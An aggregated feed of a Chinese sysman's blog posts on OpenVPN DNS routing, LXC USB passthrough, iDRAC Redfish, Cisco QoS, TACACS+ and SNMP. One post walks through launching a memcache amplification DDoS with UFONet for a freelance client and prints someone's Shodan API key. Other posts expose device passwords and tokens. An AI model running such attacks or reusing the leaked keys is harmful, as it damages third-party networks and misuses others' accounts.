Quantcast
Channel: 钻戒 and 仁豆米
Viewing all 290 articles
Browse latest View live

Freelancer任务之七memcache 放大攻击

$
0
0

这是一次差点蚀把米的过程啊,最后争议拿回了自己的手续费,白干了一场啊,真够倒霉的。

首先clone项目:

git clone https://github.com/epsylon/ufonet  

原理很清楚,通过memcache的漏洞,memcache居然是UDP的,伪造源地址,发一堆请求到有漏洞的memchache,引起反射攻击。

一堆有漏洞的机器从哪获得呢?这个韩国人真的有Shodan API,手榴弹? 他的账号,确实可以看到一堆有毛病的机器

0ptoLUtmkSJ8DbAvyZ8PevTRsyLoxEuN  

安装python:

wget https://www.python.org/ftp/python/2.7.14/Python-2.7.14.tgz  
tar zxvf Python-2.7.14.tgz  
cd Python-2.7.14  
./configure --prefix=/export/servers/Python2714
make  
make install

wget -O- "https://bootstrap.pypa.io/get-pip.py" | /export/servers/Python2714/bin/python


/export/servers/Python2714/bin/pip install pycurl
/export/servers/Python2714/bin/pip install geoip
/export/servers/Python2714/bin/pip install whois
/export/servers/Python2714/bin/pip install crypto
/export/servers/Python2714/bin/pip install request

先去拿一堆漏洞机器的列表

cd ufonet  
/export/servers/Python2714/bin/python ./ufonet --sd 'botnet/dorks.txt' --sa

轰击:

/export/servers/Python2714/bin/python ./ufonet./ufonet -a http://target.com -r 10000 --threads 2000

Freelancer任务之八openvpn的DNS分发

$
0
0

雇主给了个难题,他搭建了一个openvpn,并且有两个DNS Server,一个是带AD过滤的,一个是不带的。这两个dns服务在同一个机器上,端口不同。

他想让在openvpn的client端配置一下,让客户使用不同的dns server。

找了半天,没有能修改dns port的配置。

于是曲线救国。

方案如下:客户端固定IP,根据不同的来源IP来分发到不同的DNS去。

本来是想用V2EX一个哥们自己写的glider,弄了半天,不知道怎么配,不过功能肯定是能实现的。最差就是自己改go代码了。

快速起见,用了另外一个哥们的dns-dispatcher,就是dns分发,glider是彻底的各种代理转发,链条代理,非常强悍。

克隆dns-dispatcher代码

git clone https://github.com/cathuhoo/dns-dispatcher  

编译:

make  

配置,我们只配置了udp的53端口,标准的DNS端口

vi dns-dispatch.config  
; This is a test configuration file

[main]
file_resolvers = resolvers.txt  
file_policy = policy.txt  
file_log = /var/log/dns-dispatch.log  
file_pid = /var/run/dns-dispatch.pid  
num_threads = 3  
service_port = 53  
#tcpservice_port = 53
daemonize = yes  

配置策略:

vi policy.txt  
ip2 | * | Forward:bind2  
ip1 | * | Forward:bind1  

配置ip1和ip2

vi ip1  
10.10.1.2

vi ip2  
10.10.1.3  

配置bind1和bind2,两个dns在10.10.1.1上,端口分别是5301和5302

vi resolvers.txt  
bind1|10.10.1.1|5301  
bind2|10.10.1.1|5302  

运行:

sudo ./dns-dispatch -c dns-dispatch.config  

OK,搞定,所有的配置都在文件里,还有别的用法,大家用的话自己看文档吧。

最后分别从10.10.1.2和10.10.1.3上面用dig 请求dns server 10.10.1.1,会得到不同的结果

dig -t www.bbb.com @10.10.1.1  

VisualBox的虚机如何随Win2008R2系统的启动而自启动

$
0
0

这篇有点古怪,没办法,只有Win2008R2系统,太难操作,干脆在上面装了个VisualBox

那么怎么设置这个虚机自动随系统自启动呢?

简单,两步

一、进入当前用户的启动目录,注意,你是用哪个用户就把username改成哪个,通常是Administrator,我们的却偏偏永不会是这个

C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup  

二、在这个文件夹下新建一个bat,同样注意改掉你虚机的名字就可以了

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" startvm "NameOfYourVM" --type "headless"

lxc下如果让usb设备pass through直接到达虚机

$
0
0

测试组的同事要在测试机上安装android studio,adb直接调试手机。

这下麻烦了,测试机实际是个lxc的虚机,需要把插在宿主机usb上的手机直接过给虚机。

说下做法: 首先在宿主机上执行lsusb,查出

[root@localhost]# lsusb
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub  
Bus 002 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub  
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub  
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub  
Bus 001 Device 014: ID 04e8:6860 Samsung Electronics Co., Ltd GT-I9100 Phone [Galaxy S II], GT-I9300 Phone [Galaxy S III], GT-P7500 [Galaxy Tab 10.1] , GT-I9500 [Galaxy S 4]  
Bus 001 Device 004: ID 0624:0248 Avocent Corp. Virtual Hub  
Bus 001 Device 005: ID 0624:0249 Avocent Corp. Virtual Keyboard/Mouse  

看GT-I9100那一行,ID 04e8:6860,VendorID:ProdID,说明Vendor=04e8 ProdID=6860,记下来。

并且记下来Bus 001,Device 014

一切设备皆文件,看看具体的文件吧:

ls -l /dev/bus/usb/001/014  
crw-rw-r--. 1 root root 189, 13 8月  29 10:31 /dev/bus/usb/001/014  

记下来这个189

然后去虚机的配置文件里 注意,我们的lxc虚机配置文件在/var/lib/docker/containers/bc2c9887fa72a59ab59f78b50677612608d40a2b73e8fd8fe0ffe25baa35edaa/config.lxc中,我们的rootfs是:

lxc.rootfs = /var/lib/docker/devicemapper/mnt/bc2c9887fa72a59ab59f78b50677612608d40a2b73e8fd8fe0ffe25baa35edaa/rootfs  

So,在config.lxc中增加2行,让usb设备直通虚机:

lxc.cgroup.devices.allow = c 189:* rwm  
lxc.mount.entry = /dev/bus/usb/001/014 /var/lib/docker/devicemapper/mnt/bc2c9887fa72a59ab59f78b50677612608d40a2b73e8fd8fe0ffe25baa35edaa/rootfs/dev/bus/usb/001/014 none bind,optional,create=file  

还没完: 重启虚机,进入容器,写个udev的rules,这个没测试是否有必要,因为其实udev服务根本没在容器里跑啊

vi /etc/udev/rules.d/51-android.rules  
SUBSYSTEMS=="usb", ATTRS{idVendor}=="04e8", ATTRS{idProduct}=="6860", MODE="0666", OWNER="root"  

继续,修改adb_usb.ini,把VendorID加进去

vi ~/.android/adb_usb.ini  
# ANDROID 3RD PARTY USB VENDOR ID LIST -- DO NOT EDIT.
# USE 'android update adb' TO GENERATE.
# 1 USB VENDOR ID PER LINE.
0x04e8  

重启容器,adb被装在/opt/sdk/platform-tools/路径下,进去后执行:

/opt/sdk/platform-tools/adb start-server
/opt/sdk/platform-tools/adb devices
List of devices attached  
0376b638    unauthorized  

搞定。

Dell的idrac redfish初探

$
0
0

各大主板厂商纷纷支持下一代带外管理标准redfish。

其实Dell的idrac管理做的是相当好的,那么来看看对redfish的支持吧。

先看看v1都有什么命令

curl -s  "https://10.16.24.15/redfish/v1" -k -u root:alibaba | jq .  
结果如下:
{
  "@odata.context": "/redfish/v1/$metadata#ServiceRoot.ServiceRoot",
  "@odata.id": "/redfish/v1",
  "@odata.type": "#ServiceRoot.v1_1_0.ServiceRoot",
  "AccountService": {
    "@odata.id": "/redfish/v1/Managers/iDRAC.Embedded.1/AccountService"
  },
  "Chassis": {
    "@odata.id": "/redfish/v1/Chassis"
  },
  "Description": "Root Service",
  "EventService": {
    "@odata.id": "/redfish/v1/EventService"
  },
  "Id": "RootService",
  "JsonSchemas": {
    "@odata.id": "/redfish/v1/JSONSchemas"
  },
  "Links": {
    "Sessions": {
      "@odata.id": "/redfish/v1/Sessions"
    }
  },
  "Managers": {
    "@odata.id": "/redfish/v1/Managers"
  },
  "Name": "Root Service",
  "Oem": {
    "Dell": {
      "@odata.type": "#DellServiceRoot.v1_0_0.ServiceRootSummary",
      "IsBranded": 0,
      "ManagerMACAddress": "50:9A:4C:82:B9:3F",
      "ServiceTag": "7Q9N8P2"
    }
  },
  "RedfishVersion": "1.0.2",
  "Registries": {
    "@odata.id": "/redfish/v1/Registries"
  },
  "SessionService": {
    "@odata.id": "/redfish/v1/SessionService"
  },
  "Systems": {
    "@odata.id": "/redfish/v1/Systems"
  },
  "Tasks": {
    "@odata.id": "/redfish/v1/TaskService"
  },
  "UpdateService": {
    "@odata.id": "/redfish/v1/UpdateService"
  }
}

好多服务撒,挑一个看看

curl -s  "https://10.16.24.15/redfish/v1/Chassis" -k -u root:alibaba | jq .  
结果如下:
{
  "@odata.context": "/redfish/v1/$metadata#ChassisCollection.ChassisCollection",
  "@odata.id": "/redfish/v1/Chassis/",
  "@odata.type": "#ChassisCollection.ChassisCollection",
  "Description": "Collection of Chassis",
  "Members": [
    {
      "@odata.id": "/redfish/v1/Chassis/System.Embedded.1"
    },
    {
      "@odata.id": "/redfish/v1/Chassis/Enclosure.Internal.0-1:RAID.Integrated.1-1"
    }
  ],
  "Members@odata.count": 2,
  "Name": "Chassis Collection"
}

试试Session的管理:

curl -v -k -X POST -d '{"UserName":"root","Password":"alibaba"}' -H "Content-Type: application/json" https://10.16.24.15/redfish/v1/Sessions   | jq .  

注意Dell官方的文档里居然不提json的事,直接用它给的命令会报错的,post的数据明显是个json。

结果:
* About to connect() to 10.16.24.15 port 443 (#0)
*   Trying 10.16.24.15... connected
* Connected to 10.16.24.15 (10.16.24.15) port 443 (#0)
* Initializing NSS with certpath: sql:/etc/pki/nssdb
* warning: ignoring value of ssl.verifyhost
* skipping SSL peer certificate verification
* SSL connection using TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
* Server certificate:
*     subject: E=support@dell.com,CN=idrac-7Q9N8P2,OU=Remote Access Group,O=Dell Inc.,L=Round Rock,ST=Texas,C=US
*     start date: Mar 15 06:13:00 2018 GMT
*     expire date: Mar 15 06:14:22 2028 GMT
*     common name: idrac-7Q9N8P2
*     issuer: E=support@dell.com,CN=idrac-7Q9N8P2,OU=Remote Access Group,O=Dell Inc.,L=Round Rock,ST=Texas,C=US
> POST /redfish/v1/Sessions HTTP/1.1
> User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.21 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2
> Host: 10.16.24.15
> Accept: */*
> Content-Type: application/json
> Content-Length: 39
> 
} [data not shown]
< HTTP/1.1 201 Created  
< OData-Version: 4.0  
< Keep-Alive: timeout=60, max=199  
< Content-Type: application/json;odata.metadata=minimal;charset=utf-8  
< Server: iDRAC/8  
< Location: /redfish/v1/Sessions/13  
< Date: Wed, 05 Sep 2018 08:26:55 GMT  
< X-Auth-Token: d42c621ee25ad8b49c0d24bbd763f54f  
< Cache-Control: no-cache  
< Content-Length: 745  
< Connection: Keep-Alive  
< Access-Control-Allow-Origin: *  
< Accept-Ranges: bytes  
<  
{ [data not shown]
* Connection #0 to host 10.16.24.15 left intact
* Closing connection #0
{
  "@Message.ExtendedInfo": [
    {
      "Message": "The resource has been created successfully",
      "MessageArgs": [],
      "MessageArgs@odata.count": 0,
      "MessageId": "Base.1.0.Created",
      "RelatedProperties": [],
      "RelatedProperties@odata.count": 0,
      "Resolution": "None",
      "Severity": "OK"
    },
    {
      "Message": "A new resource is successfully created.",
      "MessageArgs": [],
      "MessageArgs@odata.count": 0,
      "MessageId": "IDRAC.1.6.SYS414",
      "RelatedProperties": [],
      "RelatedProperties@odata.count": 0,
      "Resolution": "No response action is required.",
      "Severity": "Informational"
    }
  ],
  "@odata.context": "/redfish/v1/$metadata#Session.Session",
  "@odata.id": "/redfish/v1/Sessions/13",
  "@odata.type": "#Session.v1_0_2.Session",
  "Description": "User Session",
  "Id": "13",
  "Name": "User Session",
  "Password": null,
  "UserName": "root"
}

记下这行:X-Auth-Token: d42c621ee25ad8b49c0d24bbd763f54f

试试这种Session的功效

curl -k https://10.16.24.15/redfish/v1/Chassis -s --header "X-Auth-Token: d42c621ee25ad8b49c0d24bbd763f54f" | jq .  
结果:
{
  "@odata.context": "/redfish/v1/$metadata#ChassisCollection.ChassisCollection",
  "@odata.id": "/redfish/v1/Chassis/",
  "@odata.type": "#ChassisCollection.ChassisCollection",
  "Description": "Collection of Chassis",
  "Members": [
    {
      "@odata.id": "/redfish/v1/Chassis/System.Embedded.1"
    },
    {
      "@odata.id": "/redfish/v1/Chassis/Enclosure.Internal.0-1:RAID.Integrated.1-1"
    }
  ],
  "Members@odata.count": 2,
  "Name": "Chassis Collection"
}

搞定,如果还想需要更多的功能,就去看手册吧。

nss error -12190 报错的解决

$
0
0

系统是CentOS 6.6的,curl访问https报错。

nss error -12190 这个错误说明系统预埋的CA需要更新了。

一句话解决:

yum update -y nss curl libcurl  

鬼畜的是,yum的CentOS-Base.repo被改成了本地,根本没有可以升级的东西,shit,增加一段网易的mirror吧

[base]
name=CentOS-6 - Base - 163.com  
baseurl=http://mirrors.163.com/centos/6/os/$basearch/  
gpgcheck=1  
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-6

[updates]
name=CentOS-6 - Updates - 163.com  
baseurl=http://mirrors.163.com/centos/6/updates/$basearch/  
gpgcheck=1  
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-6

[extras]
name=CentOS-6 - Extras - 163.com  
baseurl=http://mirrors.163.com/centos/6/extras/$basearch/  
gpgcheck=1  
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-6

[centosplus]
name=CentOS-6 - Plus - 163.com  
baseurl=http://mirrors.163.com/centos/6/centosplus/$basearch/  
gpgcheck=1  
enabled=1  
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-6

[contrib]
name=CentOS-6 - Contrib - 163.com  
baseurl=http://mirrors.163.com/centos/6/contrib/$basearch/  
gpgcheck=1  
enabled=1  
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-6  

再执行,就搞定

Tomcat 7在Centos 7下启动巨慢的问题

$
0
0

其实很简单,是由有随机数的熵不够的原因。

两种解决方法:

1.安装rng-tools

yum install rng-tools  

2.安装haveged

yum install haveged  

两种有什么区别呢?rng-tools是依赖硬件的,那么我们用的全是kvm,所以用haveged是正解。

Fail2ban 怎么解并放入白名单

$
0
0

mouse的服务器连接到了各个网络核心设备,所以采用了很严格的ip限制,port限制,以及fail2ban来阻止非法访问,但是不巧,把自己也给搞到jail里去了。

那么怎么解呢?

首先查看封锁情况:

fail2ban-client status

Status  
|- Number of jail:    2
`- Jail list:    sshd, sshd-ddos

有两个jail,sshd和sshd-ddos

进一步查看:

fail2ban-client status sshd  

发现自己被屏蔽了。

解封:

fail2ban-client set sshd unbanip 103.108.236.5  

解封只是临时的,放入白名单最靠谱

vi /etc/fail2ban/jail.conf  
ignoreip = 103.108.236.5/32  

重启fail2ban

systemctl restart fail2ban  

搞定。


Mirror 口直通到Kvm中去遇到的几个问题

$
0
0

由于大搞BGP线路,所以在Cisco路由器上Mirror了入口的流量到另外一个端口,供suricata分析用。

在Mirror直通kvm虚机过程中遇到以下问题:

Mirror的口是Te口,10G的流量,在宿主机上tcpdump可以看到所有流量,但是在kvm上则断断续续,流量丢失一部分,原因很简单,流量的聚合和转发未配置好,两条命令解决

brctl setageing br2 0  
brctl setfd br2 0  

但是,如何在宿主机启动的时候自动执行这两句呢?简单,如果系统是CentOS

cat <<EOF>>/sbin/ifup-local  
#!/bin/bash
brctl setageing br2 0  
brctl setfd br2 0  
EOF  
chmod 755 /sbin/ifup-local  

如果系统是Ubuntu

cd /etc/network/if-up.d  
cat <<EOF>>br3-mirror  
#!/bin/bash
if [ "$IFACE" = br2 ]; then  
brctl setageing br2 0  
brctl setfd br2 0  
fi  
EOF  
chmod +x br2-mirror  

在宿主机上问题解决了,在kvm虚机上又遇到问题,Ubuntu,如果让一个网口启动但没有地址呢?

vi /etc/network/interfaces  
auto ens7  
iface ens7 inet manual  
    mtu 1464
up ifconfig ens7 up  

注意上面的,ens7就是mirror过来的网口,mtu是因为在cisco做mirror的时候指定了固定的mtu 1464.

brctl命令的用法可以参见以下链接:
https://www.thegeekstuff.com/2017/06/brctl-bridge/

over.

vrf错误之the feature does not supported

$
0
0

作为一个运维,现在搞起了Ciso的BGP生意

在Cisco3650上定义VRF,结果报错,一头雾水啊,而且对Cisco也不熟悉啊。

#vrf definition mgmt
% Feature is not supported

没办法搜啊

解决方法如下:

sh license right-to-use  
license right-to-use activate ipservices all  
reload  
license right-to-use activate ipservices all acceptEULA  
reload  

最后显示ipservices和lanbase都有就行了

#sh license right-to-use
 Slot#  License name   Type     Count   Period left 
----------------------------------------------------------
 1      ipservices   permanent     N/A   Lifetime
 1      lanbase      permanent     N/A   Lifetime

用tcpdump来查看机器对应交换机的设置

$
0
0

有时候我们有机器的权限,但是想知道这台机器插到交换机的哪个口了,本身的VLAN是多少。 怎么办呢?

一句话解决:

tcpdump -i ens3 -s 1500 -c1 -nn -vvv 'ether[20:2]=0x2000'  

输出如下,对应的VLAN是101,插到了Gi1/0/39口,一目了然。

tcpdump: listening on ens3, link-type EN10MB (Ethernet), capture size 1500 bytes  
14:43:50.631178 CDPv2, ttl: 180s, checksum: 0x0edd (unverified), length 455  
    Device-ID (0x01), value length: 17 bytes: 'tokyo-c02.dedi.jp'
    Version String (0x05), value length: 261 bytes: 
      Cisco IOS Software, Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 15.2(2)E6, RELEASE SOFTWARE (fc1)
      Technical Support: http://www.cisco.com/techsupport
      Copyright (c) 1986-2016 by Cisco Systems, Inc.
      Compiled Sat 17-Dec-16 00:22 by prod_rel_team
    Platform (0x06), value length: 19 bytes: 'cisco WS-C3650-48TQ'
    Address (0x02), value length: 13 bytes: IPv4 (1) 10.224.7.252
    Port-ID (0x03), value length: 21 bytes: 'GigabitEthernet1/0/39'
    Capability (0x04), value length: 4 bytes: (0x00000029): Router, L2 Switch, IGMP snooping
    VTP Management Domain (0x09), value length: 5 bytes: 'tokyo'
    Native VLAN ID (0x0a), value length: 2 bytes: 101
    Duplex (0x0b), value length: 1 byte: full
    AVVID trust bitmap (0x12), value length: 1 byte: 0x00
    AVVID untrusted ports CoS (0x13), value length: 1 byte: 0x00
    Management Addresses (0x16), value length: 13 bytes: IPv4 (1) 10.224.7.252
    unknown field type (0x1a), value length: 12 bytes: 
      0x0000:  0000 0001 0000 0000 ffff ffff
    unknown field type (0x1f), value length: 1 byte: 
      0x0000:  00
    unknown field type (0x1004), value length: 15 bytes: 
      0x0000:  3730 3730 2e38 6265 612e 6162 3030 00
    unknown field type (0x1003), value length: 1 byte: 
      0x0000:  31
1 packet captured  
2 packets received by filter  
0 packets dropped by kernel  
1 packet dropped by interface  

Cisco路由器上qos的设置

$
0
0

诉求很简单,对客户限速,那么麻烦就很多,怎么限?

先普及一下Cisco的qos知识

单速单桶: 单速单桶模式不允许流量突发,当用户的流量速率小于配置的CIR时,报文被认为是conform;当用户的流量大于CIR时直接被认为是exceed(思科exceed华为violate)。

(图中Tc代表桶里令牌的数量,CBS代表令牌桶的容量即Bc)

如果只配置CIR,不指定Bc,那么默认Bc等于1500bytes或者 CIR数值 / 32
 class 100
  police 8000 conform-action transmit  exceed-action drop 
 class 200
  police cir 8000 conform-action transmit  exceed-action drop 
 class 300
  police 8000 1500 conform-action transmit  exceed-action drop 
 class 400
  police cir 8000 bc 1500 conform-action transmit  exceed-action drop

单速双桶: 支持突发流量,用户的流量会出现三种结果: (图中Tc、Te代表桶里令牌的数量,CBS,EBS代表令牌桶的容量即Bc、Be)

小于或等于CIR(也就是符合CIR) (conform)
大于CIR并小于或等于CIR与Be之和(也就是符合两个桶令牌之和)(exceed)
超过CIR与Be之和(也就是超过两个桶令牌之和)(violate)

如果只配置CIR、Bc,不指定Be,那么默认Be等于1500bytes或者CIR数值 / 32。
 class 500
  police 8000 1000 conform-action transmit  exceed-action set-prec-transmit 1 violate-action drop 
 class 600
  police 8000 1000 1300 conform-action transmit  exceed-action set-prec-transmit 1 violate-action drop 
 class 700
  police cir 8000 bc 1000 be 1300 conform-action transmit  exceed-action set-prec-transmit 1 violate-action drop

双速双桶: (图中Tc、Tp代表桶里令牌的数量,CBS,PBS代表令牌桶的容量即Bc、Be)

class 800  
 police cir 8000 bc 1000 pir 8000 be 1200 conform-action transmit  exceed-action transmit  violate-action drop

好,罗嗦了这么多。注意,有可能Cisco的交换机不支持最复杂的1rate,three color,所以你就得更换另外两种方式了。

实战来一下:

policy-map LIMIT-50mbit  
 class class-default
  police cir 50000000 bc 5000000 be 15000000 conform-action transmit exceed-action set-prec-transmit 3 violate-action set-prec-transmit 2

cir为承诺的带宽速率,即需要保证的带宽速率,单位为bps;
bc为普通突发,单位为bytes;
be为最高突发,单位为bytes;
set-prec-transmit,表示设置IP优先级并转发数据包;
注意cir和bc、be的单位是不同的,bc和be需要×8,简单算就是×10;

上面整体命令解释为:承诺带宽50Mbps,普通突发为5Mbytes,最高突发为15Mbytes。当速率小于100Mbps(50+50)是转发数据包,当超过100Mbps小于200Mbps(50+150)是重写IP优先级为3并转发数据包,当超过200Mbps是重写IP优先级为2并转发数据包。

可以变种一下,超了100兆直接drop

  police cir 50000000 bc 5000000 be 15000000 conform-action transmit exceed-action drop

最后在端口应用一下策略即可:

interface GigabitEthernet1/0/22  
 description uplink: uplink [50Mbps-200Mbps]
 switchport access vlan 111
 switchport mode access
 storm-control broadcast level 1.00
 storm-control multicast level 5.00
 storm-control action shutdown
 spanning-tree portfast
 spanning-tree bpdufilter enable
 spanning-tree bpduguard enable
 service-policy input LIMIT-50mbit
 service-policy output LIMIT-50mbit
!

KVM的虚机如何限速

$
0
0

需要开一台kvm的测试机,但是需要限制速度,10M
我们的物理机使用了bridge,以及vlan tag,所以虚机的网卡是br0.141

查了一圈文档

    <interface type='bridge'>
      <mac address='52:54:00:db:4c:5f'/>
      <source bridge='br0.141'/>
      <bandwidth>
        <inbound average='1250' peak='1250' burst='1250'/>
        <outbound average='1250' peak='1250' burst='1250'/>
      </bandwidth>
      <model type='virtio'/>

注意限速的单位:是kilobyte per second
那么:
1250 kilobyte per second, KB/s = 10 Mbps = 1.25 MB/s

10 Mbps就是通常意义上的网速,/8=1.25 MB/s,就是机器上用下载软件比如迅雷下载,看到的速度(1.25 MB/s)。

Opennebula修改缺省的9869端口

$
0
0

企业内部用kvm的话,其实用opennebula是个非常好的选择。

安装过程就不多描述了。

安装完成后。缺省是打开http://xxx.xxx.xxx:9869/ 的web控制台

这个实在是太难记了,改到80端口吧

首先安装nginx,做个proxy代理9869端口

server {  
......
    listen       80 default_server;
    server_name  _;
    location / {
        proxy_set_header   Host             $host;
        proxy_set_header   X-Real-IP        $remote_addr;
        proxy_set_header   X-Forwarded-For  $proxy_add_x_forwarded_for;
        proxy_pass http://127.0.0.1:9869;
    }
......

另外修改 /etc/one/sunstone-server.conf 文件,打开wss代理。

把:vncproxysupport_wss: no改成only

:vnc_proxy_support_wss: only

重启服务

systemctl restart opennebula-sunstone.service  

然后启动nginx,就可以了

Cisco 路由器的操作审计

$
0
0

我们用的是Cisco ASR 1001-X这个路由器来做BGP的。

前两天做多线BGP的时候,也不知道是遇到Bug了,还是操作顺序有问题,大断网,然后重启路由器。

事后想回顾的时候也是各自有各自的记录,细节语焉不详......

干脆搭建一个日志服务器来记录下来所有的操作,便于事后复盘

首先在CentOS 7 的系统上安装TACACS+软件,居然在7上用的是6的软件,这点也很怪异

cat << EOF >/etc/yum.repos.d/tacacs-plus.repo  
[tacacs-plus]
name=Tacacs Plus  
baseurl=http://li.nux.ro/download/nux/misc/el6/x86_64/  
enabled=0  
gpgcheck=1  
gpgkey=http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro  
EOF  

安装tacacs_plus

 yum –enablerepo=tacacs-plus install tac_plus

注意,我们只是用tacacs_plus来记录操作日志,不是用来限制用户登录和权限的,所以只需要关注两行:

vi /etc/tac_plus.conf  
key = "FuckFuckFuck"  
accounting file = /var/log/tac_acct.log  
......

启动,没有systemctl,只有service

service tac_plus start  

ok, tacacs+配置好了,继续,去Cisco路由器上配

Router1#configure terminal  
Enter configuration commands, one per line.  End with CNTL/Z.  
Router1(config)#tacacs-server host 192.168.171.13  
Router1(config)#tacacs-server timeout 10  
Router1(config)#tacacs-server key FuckFuckFuck  
Router1(config)#aaa new-model  
Router1(config)#aaa accounting commands 0 default stop-only group tacacs+  
Router1(config)#aaa accounting commands 1 default stop-only group tacacs+  
Router1(config)#aaa accounting commands 15 default stop-only group tacacs+  
Router1(config)#end  
Router1#  

“0” 用来审计exit和end命令,这样可以明确知道用户的登录。
“1” 用来审计非特权用户的show命令。
“15” 用来审计特权命令对路由器配置的改动。

看看日志里有没有记录:

注意,tacacs-server的语法可能在ios版本不同的情况下语法不同:

# tacacs server TS-AAA
     address ipv4 192.168.171.13
     key FuckFuckFuck
     timeout 10

搞定。


Cisco交换机通过snmp来重启

$
0
0

这是个什么命题?!没办法,有时候需要用到这种方式

首先去cisco交换机配置:

snmp-server community private RW  
snmp-server system-shutdown  

然后在linux机器上执行:

# snmpset -v 2c -c private 192.168.1.1 .1.3.6.1.4.1.9.2.9.9.0 i 2

!--- This is an explanation of the variables that this command uses.

          10.16.99.55 = ip address of your router
               private = R/W SNMP Community string of your router
.1.3.6.1.4.1.9.2.9.9.0 = tsMsgSend SNMP MIB OID
                     i = Integer as defined SYNTAX in the MIB
                     2 = reload command as defined in the MIB

最后,Fuck Cisco!!!

Cisco snmpv3的设置

$
0
0

https://www.cisco.com/c/en/us/support/docs/smb/routers/cisco-rv-series-small-business-routers/smb4127-configure-simple-network-management-protocol-snmp-on-rv320-a.html

这篇说的很详细了

按图索骥即可

snmpwalk v3参数解释:

-v 1|2c|3             specifies SNMP version to use
-u USER-NAME          set security name (e.g. bert)
-l LEVEL              set security level (noAuthNoPriv|authNoPriv|authPriv)
-a PROTOCOL           set authentication protocol (MD5|SHA)
-A PASSPHRASE         set authentication protocol pass phrase
-x PROTOCOL           set privacy protocol (DES|AES)
-X PASSPHRASE         set privacy protocol pass phrase

简单说,v3支持两重加密

snmpset -v3 -u Cisco -l authPriv -a MD5 -A FuckCisco -x DES -X zhenbushidongxi 192.168.1.1 .1.3.6.1.4.1.9.2.9.9.0 i 2  

Linux分区后无法格式化的问题

$
0
0

把一块硬盘加到机器后

分区没问题

但是无法格式化,报错

[root@kvm ~]# mkfs.ext4 /dev/sdc1
mke2fs 1.42.9 (28-Dec-2013)  
/dev/sdc1 is apparently in use by the system; will not make a filesystem here!

fuser看不出毛病

没办法,看看新硬盘是否以前是raid中的一块吧

[root@kvm ~]# cat /proc/mdstat
Personalities :  
md127 : inactive sdc[0](S)  
      5201 blocks super external:imsm

unused devices: <none>


[root@kvm ~]# mdadm --detail /dev/md127
/dev/md127:
           Version : imsm
        Raid Level : container
     Total Devices : 1

   Working Devices : 1

     Member Arrays :

    Number   Major   Minor   RaidDevice

       -       8       32        -        /dev/sdc

哇,有个md127的raid信息

停了它,然后再mkfs.xfs格式化就行了

mdadm --stop /dev/md127  
mdadm: stopped /dev/md127  

DN42的拓扑图

$
0
0

找了个Github上的软件,把DN42的全路由拓扑画了一下,挺震惊的

Ubuntu 18.04 远程桌面设置

$
0
0

首先下载:

https://www.c-nergy.be/downloads/xrdp-installer-1.1.zip

解压后以普通用户身份运行。


然后新建文件,内容如下:
vi /etc/polkit-1/localauthority.conf.d/02-allow-colord.conf

polkit.addRule(function(action, subject) {  
if ((action.id == “org.freedesktop.color-manager.create-device” || action.id == “org.freedesktop.color-manager.create-profile” || action.id == “org.freedesktop.color-manager.delete-device” || action.id == “org.freedesktop.color-manager.delete-profile” || action.id == “org.freedesktop.color-manager.modify-device” || action.id == “org.freedesktop.color-manager.modify-profile”) && subject.isInGroup(“{group}”))  
{
return polkit.Result.YES;  
}
});

最后,设置 --> 隐私 --> 锁屏 --> 关

就可以用Windows的远程桌面登录Ubuntu的桌面了。

Viewing all 290 articles
Browse latest View live